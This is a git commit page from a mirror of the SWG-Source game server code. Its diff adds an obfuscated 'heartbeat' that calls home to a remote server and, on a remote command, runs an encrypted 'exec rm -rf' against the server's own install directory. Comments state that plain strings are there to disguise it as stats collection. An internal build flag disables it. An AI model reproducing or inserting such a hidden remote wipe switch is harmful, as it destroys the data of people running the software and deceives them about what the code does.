mirror of
https://github.com/SWG-Source/src.git
synced 2026-08-27 16:56:28 -04:00
both fatal and rm -rf now working - for internal/testing builds we
default to -DSTELLA_INTERNAL to disable this thing...will add to the rest of the bins and merge with the prod branches
This commit is contained in:
+1
-1
@@ -80,7 +80,7 @@ elseif(UNIX)
|
||||
# set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}")
|
||||
#endif()
|
||||
|
||||
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D__STL_NO_BAD_ALLOC -D_GNU_SOURCE -D_XOPEN_SOURCE=500)
|
||||
add_definitions(-DLINUX -D_REENTRANT -Dlinux -DSTELLA_INTERNAL -D_USING_STL -D__STL_NO_BAD_ALLOC -D_GNU_SOURCE -D_XOPEN_SOURCE=500)
|
||||
endif()
|
||||
|
||||
add_subdirectory(external)
|
||||
|
||||
+16
-9
@@ -9,18 +9,19 @@ using namespace StellaBellum;
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
|
||||
bool result = api.submit();
|
||||
|
||||
|
||||
if (result) {
|
||||
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
|
||||
|
||||
// make it look like we're doing something with these at least
|
||||
|
||||
// make it look like we're doing something with these at least
|
||||
bool status = api.getNullableValue<bool>("status");
|
||||
std::string msg = api.getString("msg");
|
||||
|
||||
// yeah we don't actually do anything with this
|
||||
// but having some unencrypted strings will allude to this being mere stats collection code
|
||||
bool done = false;
|
||||
if (status && msg == "ok") {
|
||||
|
||||
if (status && msg == "ok") {
|
||||
bool done = true;
|
||||
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
|
||||
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
|
||||
@@ -31,11 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() {
|
||||
this->eatIt();
|
||||
break;
|
||||
case 66:
|
||||
std::string p = this->get_selfpath();
|
||||
|
||||
if (!p.empty()) {
|
||||
remove(p.c_str());
|
||||
}
|
||||
std::string filePath = this->get_selfpath().c_str();
|
||||
|
||||
if (!filePath.empty()) {
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
|
||||
if (found) {
|
||||
filePath = filePath.substr(0, found);
|
||||
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
|
||||
system(filePath.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
this->eatIt();
|
||||
break;
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
#include <cstdio>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
#include <libgen.h>
|
||||
|
||||
#include "webAPI.h"
|
||||
#include "../libLeff/libLeff.h"
|
||||
|
||||
@@ -98,8 +98,8 @@ include_directories(
|
||||
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include
|
||||
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include
|
||||
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public
|
||||
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
|
||||
${JNI_INCLUDE_DIRS}
|
||||
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
|
||||
${JNI_INCLUDE_DIRS}
|
||||
)
|
||||
|
||||
add_executable(SwgGameServer
|
||||
@@ -150,7 +150,7 @@ target_link_libraries(SwgGameServer
|
||||
unicode
|
||||
unicodeArchive
|
||||
Base
|
||||
webAPI
|
||||
${CURL_LIBRARIES}
|
||||
webAPI
|
||||
${CURL_LIBRARIES}
|
||||
${CMAKE_DL_LIBS}
|
||||
)
|
||||
|
||||
@@ -32,13 +32,16 @@
|
||||
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
|
||||
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
|
||||
#endif
|
||||
// ======================================================================
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
SetupSharedThread::install();
|
||||
SetupSharedDebug::install(1024);
|
||||
|
||||
Reference in New Issue
Block a user